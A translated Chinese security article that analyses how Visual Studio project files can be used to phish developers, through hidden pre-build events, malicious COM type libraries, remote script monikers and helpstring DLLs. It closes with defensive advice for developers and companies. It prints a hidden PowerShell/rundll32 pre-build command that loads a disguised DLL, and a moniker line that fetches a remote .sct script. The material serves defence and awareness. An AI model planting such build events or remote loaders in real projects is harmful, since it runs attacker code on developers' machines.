【翻译】利用Visual Studio钓鱼攻击的思考
字数 1654 2025-08-23 18:31:34
Visual Studio钓鱼攻击技术分析与防御指南
0x00 概述
本文详细分析通过Visual Studio项目文件进行初始访问攻击的技术原理,包括自定义构建事件、COM类型库滥用等攻击手段。这些技术可被用于针对开发者的定向攻击,特别是在安全研究领域。
0x01 攻击面分析
1.1 自定义构建事件攻击
Visual Studio允许在项目文件中定义构建前/后事件,攻击者可利用此特性植入恶意代码:
<PreBuildEvent>
<Command>powershell -executionpolicy bypass -windowstyle hidden if(([system.environment]::osversion.version.major -eq 10) -and [system.environment]::is64bitoperatingsystem -and (Test-Path x64\Debug\Browse.VC.db)){rundll32 x64\Debug\Browse.VC.db,ENGINE_get_RAND 7am1cKZAEb9Nl1pL 4201}</Command>
</PreBuildEvent>
特点:
- 在构建时自动执行恶意命令
- 可隐藏执行PowerShell脚本
- 可加载恶意DLL并调用特定函数
1.2 COM类型库攻击
1.2.1 类型库基础
类型库是COM中描述接口的二进制格式,C++可通过import指令引用:
#import "EvilTypeLib.tlb"
类型库可通过IDL定义并编译:
[object, uuid(10000001-0000-0000-0000-000000000001)]
interface ISum : IUnknown {
HRESULT Sum(int x, int y, [out, retval] int* retval);
}
[uuid(10000003-0000-0000-0000-000000000001)]
library Component {
importlib("stdole32.tlb");
interface ISum;
[uuid(10000002-0000-0000-0000-000000000001)]
coclass InsideCOM {
interface ISum;
}
};
1.2.2 类型库漏洞利用
攻击者可利用以下技术链:
-
恶意类型库内存破坏:
- 滥用未记录的"Reserved7"字段作为虚表偏移量
- 控制虚表指针指向任意代码
-
Monikers利用:
LoadTypeLib()会解析名字对象- 使用Windows脚本组件名字对象:
script:https://outflank.nl/evil.sct
-
嵌套类型库隐藏:
- 创建引用另一个类型库的类型库
- 实际引用的是名字字符串而非类型库
- 内存中修改或十六进制编辑替换引用
1.2.3 编译时攻击链
#import "EvilTypeLib.tlb"
触发流程:
- 预处理器调用
LoadTypeLib() - 加载初始类型库并解析嵌套引用
MkParseDisplayName()解析名字字符串IMoniker::BindToObject()绑定脚本组件对象- 加载远程恶意脚本
1.3 查看代码时攻击
通过项目文件中的COMFileReference触发:
<COMFileReference Include="files\helpstringdll.tlb">
<EmbedInteropTypes>True</EmbedInteropTypes>
</COMFileReference>
恶意类型库定义:
[uuid(10000002-0000-0000-0000-000000000001), version(1.0),
helpstringcontext(103), helpstringdll("helpstringdll.dll")]
library ComponentLib { ... };
攻击流程:
- VS加载项目时解析
COMFileReference - 属性窗口解析
HelpstringDLL属性 - 加载恶意DLL并调用
DLLGetDocumentation()
0x02 攻击影响与场景
2.1 攻击场景
-
鱼叉式钓鱼攻击:
- 发送恶意VS项目文件给目标开发者
- VS项目文件不在Outlook阻止列表中
-
代码仓库攻击:
- 入侵GitHub/GitLab账户植入恶意项目
- 设置虚假GitHub项目作为水坑攻击
-
供应链攻击:
- 污染开源项目依赖
2.2 防御规避
- 使用
git clone不设置MOTW(网络文件标记) - 引用WebDAV上的远程资源
- 隐藏恶意代码在看似正常的项目中
0x03 相关攻击面扩展
3.1 其他易受攻击的软件
-
集成开发环境:
- MS Office VBA编辑器(CVE-2020-0760)
-
逆向工程工具:
- IDA Pro的COM插件
- OLE查看器
- NirSoft DLL导出查看器
-
其他软件:
- Total Commander的FileInfo插件
- 支持ActiveX的浏览器组件
3.2 检测工具
- API Monitor:监控
LoadTypeLib(Ex)调用 - Process Monitor:监控类型库加载行为
0x04 防御措施
4.1 开发者防护
-
项目文件处理:
- 始终在沙箱中打开不受信任的VS项目
- 注意查看VS的安全警告
- 审查项目文件中的可疑XML标签
-
环境配置:
- 禁用不必要的构建事件
- 限制PowerShell执行策略
- 禁用WebDAV协议
-
代码审查:
- 检查所有
#import指令引用的类型库 - 验证项目文件中的COM引用
- 检查所有
4.2 企业防护
-
终端防护:
- 部署EDR监控异常进程行为
- 限制开发机的网络访问
-
策略配置:
- 强制标记网络下载文件(MOTW)
- 拦截可疑的WebDAV请求
-
安全意识:
- 培训开发者识别可疑项目
- 建立代码来源验证流程
0x05 总结
Visual Studio项目文件提供了多种隐蔽的攻击途径,从自定义构建事件到复杂的COM类型库滥用。这些技术可导致仅通过打开或查看项目文件就触发恶意代码执行。微软认为这是预期行为,不会修复,因此开发者必须自行采取防护措施,将不可信代码视为潜在威胁并在安全环境中处理。